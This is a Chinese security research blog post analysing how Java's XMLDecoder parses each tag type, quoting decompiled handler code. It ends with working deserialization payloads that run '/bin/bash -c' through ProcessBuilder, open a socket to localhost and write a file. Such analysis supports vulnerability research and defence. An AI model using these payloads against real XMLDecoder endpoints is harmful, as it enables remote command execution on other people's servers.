XMLDecoder语法分析
2020-07-03 10:50:39 Author: xz.aliyun.com(查看原文) 阅读量:429 收藏

标签

java

  • 标签内属性:class、id、version

    //javaelementhandler继承于elementhandler,因此除了version、class还有id
    public void addAttribute(String var1, String var2) {
        if (!var1.equals("version")) {
            if (var1.equals("class")) {
                this.type = this.getOwner().findClass(var2);
            } else {
                super.addAttribute(var1, var2);
            }
        }
    
    }
    
  • 可加载类

    //含有findClass,类含有this.type,表示能将类加载进来
    if (var1.equals("class")) {
      this.type = this.getOwner().findClass(var2);
    }
    
  • getValue与getValueObject没有直接的可利用点。getValue的返回值为null或者XMLDecoder对象,看标签内有没有写入class属性

    //一般漏洞触发点是:getValueObject方法中调用了getValue方法,而getValue方法中实例化类、传参、调用函数
    //而java标签对应的getValue方法里只是读取对象并返回
    private Object getValue() {
        //this.getOwner()的值为DocumentHandler,DocumentHandler的getOwner()为XMLDecoder对象
        Object var1 = this.getOwner().getOwner();
        if (this.type != null && !this.isValid(var1)) {
            if (var1 instanceof XMLDecoder) {
                XMLDecoder var2 = (XMLDecoder)var1;
                var1 = var2.getOwner();
                if (this.isValid(var1)) {
                    //要么返回XMLDecoder的owner对象,默认为空
                    return var1;
                }
            }
                  //要么出错
            throw new IllegalStateException("Unexpected owner class: " + var1.getClass().getName());
        } else {
            //要么返回XMLDecoder对象
            return var1;
        }
    }
    
  • <java>标签之间的基础数据(如string)会写入DocumentHandler中的objects,基础数据值即为<java>标签的返回值</java></java>

    protected void addArgument(Object var1) {
        this.getOwner().addObject(var1);
    }
    

array

  • 标签内属性:length、class、id

    //继承于NewElementHandler,因此还有class与id
    public void addAttribute(String var1, String var2) {
        if (var1.equals("length")) {
            this.length = Integer.valueOf(var2);
        } else {
            super.addAttribute(var1, var2);
        }
    
    }
    
  • 可加载类,因为继承于NewElementHandler

  • getValueObject方法要么返回Object对象,要么返回Array类的实例化,因此无法起到像object标签的效果

    protected ValueObject getValueObject(Class<?> var1, Object[] var2) {
        if (var1 == null) {
            var1 = Object.class;
        }
    
        if (this.length != null) {
            return ValueObjectImpl.create(Array.newInstance(var1, this.length));
        } else {
            Object var3 = Array.newInstance(var1, var2.length);
    
            for(int var4 = 0; var4 < var2.length; ++var4) {
                Array.set(var3, var4, var2[var4]);
            }
    
            return ValueObjectImpl.create(var3);
        }
    }
    
  • 标签返回值为Array类对象

    <array class="test">
    </array>
    

class

  • 标签内无属性,值写在标签间

  • 可加载类

    @Override
    public Object getValue(String argument) {
      return getOwner().findClass(argument);
    }
    
  • getValue加载进类

  • 标签返回值为Class 对象

object

  • 标签内属性:class、method、property、field、index、id、idref

    //继承于NewElementHandler
    public final void addAttribute(String var1, String var2) {
        if (var1.equals("idref")) {
            this.idref = var2;
        } else if (var1.equals("field")) {
            this.field = var2;
        } else if (var1.equals("index")) {
            this.index = Integer.valueOf(var2);
            this.addArgument(this.index);
        } else if (var1.equals("property")) {
            this.property = var2;
        } else if (var1.equals("method")) {
            this.method = var2;
        } else {
            super.addAttribute(var1, var2);
        }
    
    }
    
  • 可加载类,继承于NewElementHandler

  • getValueObject方法中,若field、idref属性未加载,则可传入以下变量,并调用

    • 类对象(object标签中的class对象 or 父标签返回的对象)
    • object标签之间的部分标签作为方法参数
    • 方法名(set or get or new or method)
    protected final ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception {
      ...  
      else {
            //很关键,var3是传入的类对象
            Object var3 = this.getContextBean();
            String var4;
            //set or get方法
            if (this.index != null) {
                var4 = var2.length == 2 ? "set" : "get";
            } else if (this.property != null) {
                var4 = var2.length == 1 ? "set" : "get";
                if (0 < this.property.length()) {
                    //如property值为owner,则方法名var4为setOwner
                    var4 = var4 + this.property.substring(0, 1).toUpperCase(Locale.ENGLISH) + this.property.substring(1);
                }
            } else {
                //方法名为method属性值 or new,new为类的构造方法
                var4 = this.method != null && 0 < this.method.length() ? this.method : "new";
            }
                  //var3是传入的类对象、var4是方法名、var2是方法参数
            Expression var5 = new Expression(var3, var4, var2);
              //getValue传参并调用
            return ValueObjectImpl.create(var5.getValue());
        }
    }
    
  • 标签返回值为实例化对象

void

  • 标签内属性:class、method、property、field、index、id、idref
  • 可加载类,VoidElementHandler继承于ObjectElementHandler,ObjectElementHandler继承于NewElementHandler
  • 继承于object,与object有极大的相似性。使用void标签,无论什么形式,都会进入object标签的getValueObject方法
  • 返回值为空

new

  • 标签内属性:class、id

    public void addAttribute(String var1, String var2) {
        if (var1.equals("class")) {
            this.type = this.getOwner().findClass(var2);
        } else {
            super.addAttribute(var1, var2);
        }
    
    }
    
  • 可加载类

  • getValueObject方法可传入以下变量,并实例化类

    • 构造函数参数
    ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception {
        if (var1 == null) {
            throw new IllegalArgumentException("Class name is not set");
        } else {
            //var2为构造函数参数
            Class[] var3 = getArgumentTypes(var2);
            //获取类对应的构造函数
            Constructor var4 = ConstructorFinder.findConstructor(var1, var3);
            if (var4.isVarArgs()) {
                var2 = getArguments(var2, var4.getParameterTypes());
            }
                  //实例化类
            return ValueObjectImpl.create(var4.newInstance(var2));
        }
    }
    
  • 返回值为类对象

field

  • 标签内属性:class、name、id

    public void addAttribute(String name, String value) {
        if (name.equals("class")) { // NON-NLS: the attribute name
            this.type = getOwner().findClass(value);
        } else {
            super.addAttribute(name, value);
        }
    }
    
  • 可加载类

  • 若class属性在field标签中,得到的是Class对象,因而name只能是static的变量

    <field class="test" name="hhh"></field>
    

    若field标签之前得到的对象不是Class对象,则name不限制

    <object class="test">
        <field class="test" name="hhh"></field>
    </object>
    
    private static Field findField(Object var0, String var1) throws NoSuchFieldException {
      //判断是否属于Class对象,是的话寻找类中的static变量,否则寻找类中的所有变量
      return var0 instanceof Class ? FieldFinder.findStaticField((Class)var0, var1) : FieldFinder.findField(var0.getClass(), var1);
    }
    
  • 返回值为变量对应的对象值

method

  • 标签内属性:class、name、id

  • 可加载类,继承于NewElementHandler

  • getValueObject方法中

    • class属性存在,则加载class,调用class中的static方法,方法名为name属性值
    • class属性不存在,则根据父标签得到Class对象,调用Class对象的方法(无限制),方法名为name属性值
    protected ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception {
        Object var3 = this.getContextBean();
        Class[] var4 = getArgumentTypes(var2);
        //var1为标签内的class属性,var3是父标签的Class对象
        Method var5 = var1 != null ? MethodFinder.findStaticMethod(var1, this.name, var4) : MethodFinder.findMethod(var3.getClass(), this.name, var4);
        if (var5.isVarArgs()) {
            var2 = getArguments(var2, var5.getParameterTypes());
        }
    
        Object var6 = MethodUtil.invoke(var5, var3, var2);
        return var5.getReturnType().equals(Void.TYPE) ? ValueObjectImpl.VOID : ValueObjectImpl.create(var6);
    }
    
  • 返回值为调用函数的返回值

property

  • 标签内属性:index、name、id

  • 不可加载类

  • 可调用setXXX和getXXX方法,name用作索引类中的成员变量,property标签之间表示传入setXXX的参数

    • setXXX方法使用

      <object class="test">
          <property name="xixixi">
              <string>open /etc</string>
          </property>
      </object>
      
    • getXXX方法使用

      <object class="test">
          <property name="xixixi">
          </property>
      </object>
      

byte

传入byte[]类型的时候,class不是java.lang.Byte而是byte

<object class="java.net.Socket">
    <string>127.0.0.1</string>
    <int>6666</int>
    <void method="getOutputStream">
        <void method="write">
            <array class="byte" length="2">
                <void index="0">
                    <byte>49</byte>
                </void>
                <void index="1">
                    <byte>49</byte>
                </void>
            </array>
        </void>
    </void>
</object>

其余数据类型

var
null
short
int
long
float
double
boolean
true
false
char
string

XML基本语法

以下语句摘自参考链接

  • 每个元素代表一个方法调用
  • 包含元素的元素将这些元素用作参数,除非它们具有标记:“void”。(关键)
  • 方法的名称由“method”属性表示。
  • XML的标准“id”和“idref”属性用于引用先前的表达式 - 以便处理对象图中的圆形。
  • 使用“array”标记写入对数组的引用。“class”和“length”属性分别指定数组的子类型及其长度。

其他

xmldecoder漏洞在getValueObject方法触发

<object class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
        <void index="0">
            <string>/bin/bash</string>
          <!-- endElementHandler结束标签并通过this.getValueObject()获取string标签内的数据:/bin/bash -->
        </void>
        <!-- endElementHandler结束标签,获取到父标签,即上一级标签 -->
        <void index="1">
            <string>-c</string>
        </void>
        <void index="2">
            <string>open /Applications/Calculator.app</string>
        </void>
    </array>
    <!-- endElementHandler结束标签,this.getValueObject()得到string数组 -->
    <void method="start">
    </void>
    <!-- endElementHandler结束标签,this.getValueObject()调用方法 -->
</object>

若标签内存在id属性,则调用this.owner.setVariable(this.id, var1.getValue());存入DocumentHandler的environment变量。

不存在id属性,则调用this.owner.addObject(var1.getValue());存入DocumentHandler的objects变量。

这里的environment不清楚是做什么的,objects变量是标签的返回值。

public void endElement() {
    ValueObject var1 = this.getValueObject();
    if (!var1.isVoid()) {
        if (this.id != null) {
            this.owner.setVariable(this.id, var1.getValue());
        }

        if (this.isArgument()) {
            if (this.parent != null) {
                this.parent.addArgument(var1.getValue());
            } else {
                this.owner.addObject(var1.getValue());
            }
        }
    }

}

xml简单利用

执行命令

<object class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
        <void index="0">
            <string>/bin/bash</string>
        </void>
        <void index="1">
            <string>-c</string>
        </void>
        <void index="2">
            <string>/Applications/Calculator.app/</string>
        </void>
    </array>
     <void method="start">
</object>

使用套接字,连接127.0.0.1的6666端口并发送数据

<object class="java.net.Socket">
    <string>127.0.0.1</string>
    <int>6666</int>
    <void method="getOutputStream">
        <void method="write">
            <array class="byte" length="2">
                <void index="0">
                    <byte>49</byte>
                </void>
                <void index="1">
                    <byte>49</byte>
                </void>
            </array>
        </void>
    </void>
</object>

创建文件并写入

<object class="java.io.PrintWriter">
    <void class="java.io.FileOutputStream">
        <string>2.txt</string>
    </void>
    <string>2.txt</string>
    <void method="print">
        <string>xmldecoder_vul_test</string>
    </void>
    <void method="close"/>
</object>

文章来源: http://xz.aliyun.com/t/7944
如有侵权请联系:admin#unsafe.sh